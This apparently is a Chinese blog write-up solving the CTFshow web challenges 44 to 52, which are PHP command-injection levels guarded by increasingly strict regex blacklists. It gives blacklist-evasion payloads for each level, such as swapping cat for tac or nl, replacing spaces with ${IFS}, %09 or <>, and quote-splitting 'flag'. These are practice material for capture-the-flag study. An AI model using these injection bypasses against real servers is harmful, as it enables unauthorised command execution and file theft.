CTFSHOW Web入门 44-52

web 44

if(!preg_match("/;|cat|flag/i", $c))
{system($c." >/dev/null 2>&1");

这题过滤了cat,flag
关于cat的过滤绕过可以用以下命令来替换
cat file1 从第一个字节开始正向查看文件的内容
tac file1 从最后一行开始反向查看一个文件的内容
more file1 查看一个长文件的内容
less file1 类似于 ‘more’ 命令,但是它允许在文件中和正向操作一样的反向操作
head file1 查看一个文件
tail file1 查看一个文件
awk file1 查看一个文件
sort file1 将文件的每一行作为一个单位,相互比较,比较原则是从首字符向后,依次按ASCII码值进行比较,最后将他们按升序输出。
nl file1 可以将输出的文件内容自动的加上行号

也可以用单双引号,通配符,拼接等方式绕过
关于flag的过滤可以用单双引号,通配符绕过,也利用反引号·ls·直接将全部文件抓取

playload:?c=tac `ls`||

web 45

if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1"); } 

多过滤了空格
空格可以用以下方法替代
${IFS}
<>
%09等

playload:?c=tac%09`ls`||

web 46

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c))
{system($c." >/dev/null 2>&1");} 

多过滤了数字,$,*
空格可以用<>替代,但不可以再用ls了,因为<,>这两个是重定向的输入输出,与ls一起会将结果给模糊了,从而操作失败。所以改用单双引号绕过
这边有重定向的详解链接

playload:?c=tac<>fl''ag.php||

web 47

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c))
{   system($c." >/dev/null 2>&1"); } 

多过滤了几个命令,但nl,awk,tac没被过滤
可以继续用

playload:?c=nl<>fl''ag.php||

web 48

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    } 

好家伙,这里可以带上小本本,记笔记。把这些被过滤的记下来,万一以后有哪天哪题没过滤这些,不就秒了(狗头)
同web48,要不nl 要不单双引,拼接等绕过

playload:?c=nl<>fl''ag.php||

web 49

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1"); 

多过滤了%
playload同上

web 50

    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    } 

多过滤了%09( ),%26("),问题不大
playload同web49

web 51

    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    } 

多过滤了tac,问题不大用

playload:?c=nl<>fl''ag.php||

web 52

if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");

多过滤了<>,空格可以用${IFS}替代
然后同上,但得到一个虚假的flag,
然后进行查找文件,最后在根目录下找到了flag文件

?c=ls${IFS}/||//查找根目录下文件
bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var 
playload:?c=nl${IFS}/fl''ag||
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值